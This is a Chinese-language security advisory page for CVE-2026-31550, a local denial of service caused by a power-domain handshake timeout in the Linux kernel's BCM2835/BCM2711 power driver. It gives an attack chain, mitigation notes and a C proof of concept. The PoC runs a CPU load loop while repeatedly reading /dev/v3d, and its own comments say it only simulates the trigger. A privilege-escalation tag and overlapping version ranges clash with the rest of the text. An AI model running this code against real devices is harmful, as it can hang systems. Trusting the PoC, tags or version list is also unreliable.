IPBUF安全漏洞报告
English
CVE-2026-31550 CVSS 5.5 中危

CVE-2026-31550: Linux内核BCM2835电源驱动DoS漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31550
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务Linux内核竞态条件本地提权驱动漏洞BCM2835

漏洞概述

Linux内核中的bcm2835-power驱动在BCM2711芯片上处理V3D电源域时存在超时竞态问题。由于ASB控制轮询超时时间过短,在高负载下握手失败导致V3D模块状态损坏,进而引发总线错误或系统挂起,造成本地拒绝服务。

技术细节

漏洞源于`drivers/pmdomain/bcm/bcm2835-power.c`中的`bcm2835_asb_control`函数。该函数使用紧密的`ktime_get_ns()`和`cpu_relax()`循环来等待ASB(AXI从桥)确认请求。原超时设置为1us。在BCM2711(如树莓派4)上,当系统处于高负载状态时,V3D主ASB的握手确认时间可能超过1us。这导致运行时电源管理(Runtime PM)在挂起V3D时失败,并记录“Failed to disable ASB master for v3d”错误。由于电源关闭序列未正确完成,V3D硬件处于未定义状态。随后任何对V3D的访问都会触发总线错误或导致整个内核挂起。攻击者可通过本地执行高负载计算任务来触发此条件。

攻击链分析

STEP 1
1. 触发高负载
本地攻击者在系统上执行高计算密集型任务,占用CPU资源,导致内核响应延迟。
STEP 2
2. 电源管理操作
系统尝试对V3D电源域进行挂起或恢复操作(Runtime PM Suspend/Resume)。
STEP 3
3. 竞态与超时
bcm2835_asb_control函数等待ASB握手,但由于高负载,响应时间超过1us超时阈值。
STEP 4
4. 状态损坏与崩溃
握手失败导致V3D电源状态异常,后续硬件访问引发总线错误或系统死机。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31550 * Concept: Trigger high CPU load and attempt to access V3D device * to force power management transition during the race window. * Target: Linux Kernel on BCM2711 (e.g., Raspberry Pi 4) */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/v3d" void high_load_workload() { printf("[+] Starting high load workload...\n"); volatile unsigned long counter = 0; while (1) { counter++; // Use memory barrier to prevent optimization __asm__ __volatile__ ("" ::: "memory"); } } int main() { int fd = -1; // Attempt to open V3D device to trigger PM operations fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open V3D device (may be fine if not root)\n"); // Continue to generate load anyway } // Fork to create load while trying to access device if (fork() == 0) { high_load_workload(); } // Main process attempts to trigger suspend/resume cycles // In a real scenario, this requires interacting with sysfs or specific ioctls // Here we simulate the trigger condition. printf("[+] Triggering PM transitions...\n"); while (1) { if (fd >= 0) { // Dummy read to potentially trigger activity char buf[10]; read(fd, buf, 1); } usleep(1000); // 1ms delay } return 0; }

影响范围

Linux Kernel < 6.8 (Based on patch context)
Linux Kernel < 6.6
Linux Kernel < 6.1

防御指南

临时缓解措施
限制非特权用户对系统资源的访问以减少负载干扰;确保系统散热良好以避免降频导致的时序异常(虽然不是直接修复)。根本解决需更新内核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表